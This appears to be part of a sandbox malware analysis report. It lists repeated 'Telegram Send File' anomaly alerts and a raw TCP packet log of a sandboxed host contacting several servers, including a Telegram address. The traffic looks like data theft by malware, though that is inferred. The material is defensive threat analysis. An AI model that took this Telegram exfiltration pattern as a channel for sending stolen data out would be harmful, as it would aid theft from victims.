2025-01-06T13:58:06.631531+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	62558	149.154.167.220	443	TCP
2025-01-06T13:58:07.662360+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	62559	149.154.167.220	443	TCP
2025-01-06T13:58:08.849425+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	62560	149.154.167.220	443	TCP
2025-01-06T13:58:09.889218+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	62561	149.154.167.220	443	TCP
2025-01-06T13:58:10.831722+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	62562	149.154.167.220	443	TCP
2025-01-06T13:58:19.902464+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	62565	149.154.167.220	443	TCP
2025-01-06T13:58:20.987869+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	62566	149.154.167.220	443	TCP
2025-01-06T13:58:22.264568+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	62567	149.154.167.220	443	TCP
2025-01-06T13:58:23.230961+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	62568	149.154.167.220	443	TCP
2025-01-06T13:58:24.160965+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	62569	149.154.167.220	443	TCP
2025-01-06T13:58:25.275005+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	62570	149.154.167.220	443	TCP
2025-01-06T13:58:26.234709+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	62571	149.154.167.220	443	TCP
2025-01-06T13:58:27.241993+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	62572	149.154.167.220	443	TCP
2025-01-06T13:58:28.361718+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	62573	149.154.167.220	443	TCP
2025-01-06T13:58:29.260051+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	62574	149.154.167.220	443	TCP
2025-01-06T13:58:30.449323+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	62575	149.154.167.220	443	TCP
2025-01-06T13:58:31.353204+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	62576	149.154.167.220	443	TCP
2025-01-06T13:58:32.266817+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	62577	149.154.167.220	443	TCP
2025-01-06T13:58:33.206447+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	62578	149.154.167.220	443	TCP
2025-01-06T13:58:34.137615+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	62579	149.154.167.220	443	TCP
2025-01-06T13:58:38.142611+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	62580	149.154.167.220	443	TCP
2025-01-06T13:58:39.198089+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	62581	149.154.167.220	443	TCP
2025-01-06T13:58:40.184318+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	62582	149.154.167.220	443	TCP
2025-01-06T13:58:41.702485+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	62583	149.154.167.220	443	TCP
2025-01-06T13:58:45.931208+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	62585	149.154.167.220	443	TCP
2025-01-06T14:01:03.663555+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	62790	149.154.167.220	443	TCP
2025-01-06T14:01:04.578074+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	62791	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 6, 2025 13:56:58.613337994 CET	49712	80	192.168.2.6	158.101.44.242
Jan 6, 2025 13:56:58.618145943 CET	80	49712	158.101.44.242	192.168.2.6
Jan 6, 2025 13:56:58.618213892 CET	49712	80	192.168.2.6	158.101.44.242
Jan 6, 2025 13:56:58.618415117 CET	49712	80	192.168.2.6	158.101.44.242
Jan 6, 2025 13:56:58.623192072 CET	80	49712	158.101.44.242	192.168.2.6
Jan 6, 2025 13:56:59.612766027 CET	80	49712	158.101.44.242	192.168.2.6
Jan 6, 2025 13:56:59.618300915 CET	49712	80	192.168.2.6	158.101.44.242
Jan 6, 2025 13:56:59.623138905 CET	80	49712	158.101.44.242	192.168.2.6
Jan 6, 2025 13:57:00.186743975 CET	80	49712	158.101.44.242	192.168.2.6
Jan 6, 2025 13:57:00.239360094 CET	49712	80	192.168.2.6	158.101.44.242
Jan 6, 2025 13:57:00.244997978 CET	49713	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:00.245029926 CET	443	49713	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:00.245160103 CET	49713	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:00.254194021 CET	49713	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:00.254209042 CET	443	49713	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:00.739427090 CET	443	49713	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:00.739537001 CET	49713	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:00.783145905 CET	49713	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:00.783166885 CET	443	49713	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:00.783543110 CET	443	49713	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:00.832731009 CET	49713	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:00.985125065 CET	49713	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:01.027337074 CET	443	49713	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:01.097723007 CET	443	49713	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:01.097800016 CET	443	49713	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:01.097867966 CET	49713	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:01.119762897 CET	49713	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:01.129899979 CET	49712	80	192.168.2.6	158.101.44.242
Jan 6, 2025 13:57:01.134762049 CET	80	49712	158.101.44.242	192.168.2.6
Jan 6, 2025 13:57:01.331034899 CET	80	49712	158.101.44.242	192.168.2.6
Jan 6, 2025 13:57:01.334230900 CET	49716	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:01.334274054 CET	443	49716	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:01.334404945 CET	49716	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:01.334702969 CET	49716	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:01.334717989 CET	443	49716	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:01.379597902 CET	49712	80	192.168.2.6	158.101.44.242
Jan 6, 2025 13:57:01.808021069 CET	443	49716	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:01.811178923 CET	49716	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:01.811197042 CET	443	49716	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:01.946872950 CET	443	49716	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:01.946933985 CET	443	49716	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:01.946978092 CET	49716	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:01.947432995 CET	49716	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:01.950928926 CET	49712	80	192.168.2.6	158.101.44.242
Jan 6, 2025 13:57:01.952141047 CET	49717	80	192.168.2.6	158.101.44.242
Jan 6, 2025 13:57:01.955972910 CET	80	49712	158.101.44.242	192.168.2.6
Jan 6, 2025 13:57:01.956027031 CET	49712	80	192.168.2.6	158.101.44.242
Jan 6, 2025 13:57:01.957237005 CET	80	49717	158.101.44.242	192.168.2.6
Jan 6, 2025 13:57:01.957308054 CET	49717	80	192.168.2.6	158.101.44.242
Jan 6, 2025 13:57:01.957396030 CET	49717	80	192.168.2.6	158.101.44.242
Jan 6, 2025 13:57:01.965368986 CET	80	49717	158.101.44.242	192.168.2.6
Jan 6, 2025 13:57:02.541110039 CET	80	49717	158.101.44.242	192.168.2.6
Jan 6, 2025 13:57:02.542762995 CET	49719	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:02.542810917 CET	443	49719	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:02.542953014 CET	49719	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:02.543519974 CET	49719	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:02.543535948 CET	443	49719	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:02.582772017 CET	49717	80	192.168.2.6	158.101.44.242
Jan 6, 2025 13:57:03.032691956 CET	443	49719	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:03.034303904 CET	49719	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:03.034348965 CET	443	49719	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:03.193598032 CET	443	49719	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:03.193662882 CET	443	49719	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:03.194144011 CET	49719	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:03.194610119 CET	49719	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:03.200845957 CET	49720	80	192.168.2.6	158.101.44.242
Jan 6, 2025 13:57:03.210005045 CET	80	49720	158.101.44.242	192.168.2.6
Jan 6, 2025 13:57:03.210239887 CET	49720	80	192.168.2.6	158.101.44.242
Jan 6, 2025 13:57:03.210275888 CET	49720	80	192.168.2.6	158.101.44.242
Jan 6, 2025 13:57:03.221174002 CET	80	49720	158.101.44.242	192.168.2.6
Jan 6, 2025 13:57:03.790281057 CET	80	49720	158.101.44.242	192.168.2.6
Jan 6, 2025 13:57:03.807023048 CET	49721	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:03.807070017 CET	443	49721	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:03.807137966 CET	49721	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:03.807446003 CET	49721	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:03.807457924 CET	443	49721	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:03.832714081 CET	49720	80	192.168.2.6	158.101.44.242
Jan 6, 2025 13:57:04.285428047 CET	443	49721	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:04.289053917 CET	49721	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:04.289079905 CET	443	49721	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:04.440357924 CET	443	49721	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:04.440418005 CET	443	49721	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:04.440491915 CET	49721	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:04.441085100 CET	49721	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:04.444988012 CET	49720	80	192.168.2.6	158.101.44.242
Jan 6, 2025 13:57:04.446141005 CET	49723	80	192.168.2.6	158.101.44.242
Jan 6, 2025 13:57:04.449995995 CET	80	49720	158.101.44.242	192.168.2.6
Jan 6, 2025 13:57:04.450059891 CET	49720	80	192.168.2.6	158.101.44.242
Jan 6, 2025 13:57:04.450948954 CET	80	49723	158.101.44.242	192.168.2.6
Jan 6, 2025 13:57:04.451014996 CET	49723	80	192.168.2.6	158.101.44.242
Jan 6, 2025 13:57:04.451102018 CET	49723	80	192.168.2.6	158.101.44.242
Jan 6, 2025 13:57:04.455831051 CET	80	49723	158.101.44.242	192.168.2.6
Jan 6, 2025 13:57:05.822734118 CET	80	49723	158.101.44.242	192.168.2.6
Jan 6, 2025 13:57:05.823987961 CET	49729	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:05.824024916 CET	443	49729	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:05.824141026 CET	49729	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:05.824430943 CET	49729	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:05.824444056 CET	443	49729	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:05.863977909 CET	49723	80	192.168.2.6	158.101.44.242
Jan 6, 2025 13:57:06.279231071 CET	443	49729	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:06.281065941 CET	49729	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:06.281095028 CET	443	49729	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:06.422409058 CET	443	49729	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:06.422466993 CET	443	49729	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:06.422519922 CET	49729	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:06.422966957 CET	49729	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:06.426637888 CET	49723	80	192.168.2.6	158.101.44.242
Jan 6, 2025 13:57:06.427215099 CET	49735	80	192.168.2.6	158.101.44.242
Jan 6, 2025 13:57:06.431633949 CET	80	49723	158.101.44.242	192.168.2.6
Jan 6, 2025 13:57:06.431715012 CET	49723	80	192.168.2.6	158.101.44.242
Jan 6, 2025 13:57:06.432028055 CET	80	49735	158.101.44.242	192.168.2.6
Jan 6, 2025 13:57:06.432101965 CET	49735	80	192.168.2.6	158.101.44.242
Jan 6, 2025 13:57:06.436932087 CET	49735	80	192.168.2.6	158.101.44.242
Jan 6, 2025 13:57:06.441740990 CET	80	49735	158.101.44.242	192.168.2.6
Jan 6, 2025 13:57:06.997409105 CET	80	49735	158.101.44.242	192.168.2.6
Jan 6, 2025 13:57:06.998714924 CET	49741	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:06.998744965 CET	443	49741	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:06.998851061 CET	49741	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:06.999078035 CET	49741	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:06.999094009 CET	443	49741	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:07.051552057 CET	49735	80	192.168.2.6	158.101.44.242
Jan 6, 2025 13:57:07.472429991 CET	443	49741	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:07.474489927 CET	49741	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:07.474512100 CET	443	49741	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:07.625720024 CET	443	49741	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:07.625775099 CET	443	49741	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:07.625931978 CET	49741	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:07.626327038 CET	49741	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:07.629348040 CET	49735	80	192.168.2.6	158.101.44.242
Jan 6, 2025 13:57:07.630585909 CET	49747	80	192.168.2.6	158.101.44.242
Jan 6, 2025 13:57:07.634253979 CET	80	49735	158.101.44.242	192.168.2.6
Jan 6, 2025 13:57:07.634321928 CET	49735	80	192.168.2.6	158.101.44.242
Jan 6, 2025 13:57:07.635446072 CET	80	49747	158.101.44.242	192.168.2.6
Jan 6, 2025 13:57:07.635515928 CET	49747	80	192.168.2.6	158.101.44.242
Jan 6, 2025 13:57:07.635587931 CET	49747	80	192.168.2.6	158.101.44.242
Jan 6, 2025 13:57:07.640367985 CET	80	49747	158.101.44.242	192.168.2.6
Jan 6, 2025 13:57:08.216767073 CET	80	49747	158.101.44.242	192.168.2.6
Jan 6, 2025 13:57:08.218076944 CET	49748	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:08.218111038 CET	443	49748	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:08.218182087 CET	49748	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:08.218410015 CET	49748	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:08.218425035 CET	443	49748	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:08.270236015 CET	49747	80	192.168.2.6	158.101.44.242
Jan 6, 2025 13:57:08.693100929 CET	443	49748	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:08.694720984 CET	49748	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:08.694741964 CET	443	49748	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:08.832118988 CET	443	49748	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:08.832169056 CET	443	49748	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:08.832273006 CET	49748	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:08.832766056 CET	49748	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:08.844389915 CET	49747	80	192.168.2.6	158.101.44.242
Jan 6, 2025 13:57:08.845465899 CET	49754	80	192.168.2.6	158.101.44.242
Jan 6, 2025 13:57:08.849638939 CET	80	49747	158.101.44.242	192.168.2.6
Jan 6, 2025 13:57:08.849710941 CET	49747	80	192.168.2.6	158.101.44.242
Jan 6, 2025 13:57:08.851721048 CET	80	49754	158.101.44.242	192.168.2.6
Jan 6, 2025 13:57:08.851929903 CET	49754	80	192.168.2.6	158.101.44.242
Jan 6, 2025 13:57:08.852046967 CET	49754	80	192.168.2.6	158.101.44.242
Jan 6, 2025 13:57:08.856863976 CET	80	49754	158.101.44.242	192.168.2.6
Jan 6, 2025 13:57:09.423397064 CET	80	49754	158.101.44.242	192.168.2.6
Jan 6, 2025 13:57:09.424551010 CET	49760	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:09.424587965 CET	443	49760	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:09.424662113 CET	49760	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:09.424891949 CET	49760	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:09.424904108 CET	443	49760	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:09.473407984 CET	49754	80	192.168.2.6	158.101.44.242
Jan 6, 2025 13:57:09.879798889 CET	443	49760	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:09.881445885 CET	49760	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:09.881464005 CET	443	49760	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:10.026911974 CET	443	49760	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:10.026973009 CET	443	49760	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:10.027030945 CET	49760	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:10.027617931 CET	49760	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:10.030117035 CET	49754	80	192.168.2.6	158.101.44.242
Jan 6, 2025 13:57:10.031251907 CET	49767	80	192.168.2.6	158.101.44.242
Jan 6, 2025 13:57:10.035041094 CET	80	49754	158.101.44.242	192.168.2.6
Jan 6, 2025 13:57:10.035108089 CET	49754	80	192.168.2.6	158.101.44.242
Jan 6, 2025 13:57:10.036109924 CET	80	49767	158.101.44.242	192.168.2.6
Jan 6, 2025 13:57:10.036184072 CET	49767	80	192.168.2.6	158.101.44.242
Jan 6, 2025 13:57:10.036247969 CET	49767	80	192.168.2.6	158.101.44.242
Jan 6, 2025 13:57:10.040987015 CET	80	49767	158.101.44.242	192.168.2.6
Jan 6, 2025 13:57:10.608680010 CET	80	49767	158.101.44.242	192.168.2.6
Jan 6, 2025 13:57:10.609886885 CET	49771	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:10.609915972 CET	443	49771	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:10.609993935 CET	49771	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:10.610197067 CET	49771	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:10.610212088 CET	443	49771	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:10.660877943 CET	49767	80	192.168.2.6	158.101.44.242
Jan 6, 2025 13:57:11.076371908 CET	443	49771	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:11.078110933 CET	49771	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:11.078138113 CET	443	49771	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:11.203309059 CET	443	49771	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:11.203365088 CET	443	49771	188.114.96.3	192.168.2.6
Jan 6, 2025 13:57:11.203425884 CET	49771	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:11.203757048 CET	49771	443	192.168.2.6	188.114.96.3
Jan 6, 2025 13:57:11.216394901 CET	49767	80	192.168.2.6	158.101.44.242
Jan 6, 2025 13:57:11.221348047 CET	80	49767	158.101.44.242	192.168.2.6
Jan 6, 2025 13:57:11.221404076 CET	49767	80	192.168.2.6	158.101.44.242
Jan 6, 2025 13:57:11.224307060 CET	49774	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:57:11.224340916 CET	443	49774	149.154.167.220	192.168.2.6
Jan 6, 2025 13:57:11.224410057 CET	49774	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:57:11.224714994 CET	49774	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:57:11.224726915 CET	443	49774	149.154.167.220	192.168.2.6
Jan 6, 2025 13:57:11.849236965 CET	443	49774	149.154.167.220	192.168.2.6
Jan 6, 2025 13:57:11.849416971 CET	49774	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:57:11.851114035 CET	49774	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:57:11.851123095 CET	443	49774	149.154.167.220	192.168.2.6
Jan 6, 2025 13:57:11.851381063 CET	443	49774	149.154.167.220	192.168.2.6
Jan 6, 2025 13:57:11.855555058 CET	49774	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:57:11.899332047 CET	443	49774	149.154.167.220	192.168.2.6
Jan 6, 2025 13:57:12.096715927 CET	443	49774	149.154.167.220	192.168.2.6
Jan 6, 2025 13:57:12.096782923 CET	443	49774	149.154.167.220	192.168.2.6
Jan 6, 2025 13:57:12.096877098 CET	49774	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:57:12.100613117 CET	49774	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:57:18.297415018 CET	49717	80	192.168.2.6	158.101.44.242
Jan 6, 2025 13:57:18.352781057 CET	49824	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:57:18.352818012 CET	443	49824	149.154.167.220	192.168.2.6
Jan 6, 2025 13:57:18.353091955 CET	49824	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:57:18.353472948 CET	49824	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:57:18.353487968 CET	443	49824	149.154.167.220	192.168.2.6
Jan 6, 2025 13:57:18.957520962 CET	443	49824	149.154.167.220	192.168.2.6
Jan 6, 2025 13:57:18.967273951 CET	49824	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:57:18.967289925 CET	443	49824	149.154.167.220	192.168.2.6
Jan 6, 2025 13:57:18.967391968 CET	49824	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:57:18.967397928 CET	443	49824	149.154.167.220	192.168.2.6
Jan 6, 2025 13:57:19.491451979 CET	443	49824	149.154.167.220	192.168.2.6
Jan 6, 2025 13:57:19.491575003 CET	443	49824	149.154.167.220	192.168.2.6
Jan 6, 2025 13:57:19.491630077 CET	49824	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:57:19.492172956 CET	49824	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:57:39.014671087 CET	62485	53	192.168.2.6	162.159.36.2
Jan 6, 2025 13:57:39.019516945 CET	53	62485	162.159.36.2	192.168.2.6
Jan 6, 2025 13:57:39.020301104 CET	62485	53	192.168.2.6	162.159.36.2
Jan 6, 2025 13:57:39.025166988 CET	53	62485	162.159.36.2	192.168.2.6
Jan 6, 2025 13:57:39.475567102 CET	62485	53	192.168.2.6	162.159.36.2
Jan 6, 2025 13:57:39.480509996 CET	53	62485	162.159.36.2	192.168.2.6
Jan 6, 2025 13:57:39.480582952 CET	62485	53	192.168.2.6	162.159.36.2
Jan 6, 2025 13:57:40.832236052 CET	62498	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:57:40.832279921 CET	443	62498	149.154.167.220	192.168.2.6
Jan 6, 2025 13:57:40.832346916 CET	62498	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:57:40.848043919 CET	62498	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:57:40.848067045 CET	443	62498	149.154.167.220	192.168.2.6
Jan 6, 2025 13:57:41.451780081 CET	443	62498	149.154.167.220	192.168.2.6
Jan 6, 2025 13:57:41.453213930 CET	62498	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:57:41.453226089 CET	443	62498	149.154.167.220	192.168.2.6
Jan 6, 2025 13:57:41.453473091 CET	62498	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:57:41.453479052 CET	443	62498	149.154.167.220	192.168.2.6
Jan 6, 2025 13:57:41.732567072 CET	443	62498	149.154.167.220	192.168.2.6
Jan 6, 2025 13:57:41.732654095 CET	443	62498	149.154.167.220	192.168.2.6
Jan 6, 2025 13:57:41.733143091 CET	62498	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:57:41.733407021 CET	62498	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:57:41.736505032 CET	62504	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:57:41.736541986 CET	443	62504	149.154.167.220	192.168.2.6
Jan 6, 2025 13:57:41.736697912 CET	62504	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:57:41.737096071 CET	62504	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:57:41.737111092 CET	443	62504	149.154.167.220	192.168.2.6
Jan 6, 2025 13:57:42.641211987 CET	443	62504	149.154.167.220	192.168.2.6
Jan 6, 2025 13:57:42.643284082 CET	62504	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:57:42.643301010 CET	443	62504	149.154.167.220	192.168.2.6
Jan 6, 2025 13:57:42.643352032 CET	62504	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:57:42.643358946 CET	443	62504	149.154.167.220	192.168.2.6
Jan 6, 2025 13:57:43.149748087 CET	443	62504	149.154.167.220	192.168.2.6
Jan 6, 2025 13:57:43.149818897 CET	443	62504	149.154.167.220	192.168.2.6
Jan 6, 2025 13:57:43.149873972 CET	62504	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:57:43.150696039 CET	62504	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:57:43.155565023 CET	62510	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:57:43.155607939 CET	443	62510	149.154.167.220	192.168.2.6
Jan 6, 2025 13:57:43.155714989 CET	62510	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:57:43.156066895 CET	62510	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:57:43.156080961 CET	443	62510	149.154.167.220	192.168.2.6
Jan 6, 2025 13:57:43.779284000 CET	443	62510	149.154.167.220	192.168.2.6
Jan 6, 2025 13:57:43.782596111 CET	62510	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:57:43.782617092 CET	443	62510	149.154.167.220	192.168.2.6
Jan 6, 2025 13:57:43.782675982 CET	62510	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:57:43.782680988 CET	443	62510	149.154.167.220	192.168.2.6
Jan 6, 2025 13:57:44.096776009 CET	443	62510	149.154.167.220	192.168.2.6
Jan 6, 2025 13:57:44.096826077 CET	443	62510	149.154.167.220	192.168.2.6
Jan 6, 2025 13:57:44.096980095 CET	62510	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:57:44.097491026 CET	62510	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:57:44.100095034 CET	62519	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:57:44.100119114 CET	443	62519	149.154.167.220	192.168.2.6
Jan 6, 2025 13:57:44.100208044 CET	62519	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:57:44.100442886 CET	62519	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:57:44.100455046 CET	443	62519	149.154.167.220	192.168.2.6
Jan 6, 2025 13:57:44.733536959 CET	443	62519	149.154.167.220	192.168.2.6
Jan 6, 2025 13:57:44.735192060 CET	62519	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:57:44.735210896 CET	443	62519	149.154.167.220	192.168.2.6
Jan 6, 2025 13:57:44.735291004 CET	62519	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:57:44.735296965 CET	443	62519	149.154.167.220	192.168.2.6
Jan 6, 2025 13:57:45.184868097 CET	443	62519	149.154.167.220	192.168.2.6
Jan 6, 2025 13:57:45.184926987 CET	443	62519	149.154.167.220	192.168.2.6
Jan 6, 2025 13:57:45.184993982 CET	62519	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:57:45.185714960 CET	62519	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:57:45.188272953 CET	62527	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:57:45.188311100 CET	443	62527	149.154.167.220	192.168.2.6
Jan 6, 2025 13:57:45.188410997 CET	62527	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:57:45.188641071 CET	62527	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:57:45.188654900 CET	443	62527	149.154.167.220	192.168.2.6
Jan 6, 2025 13:57:45.852150917 CET	443	62527	149.154.167.220	192.168.2.6
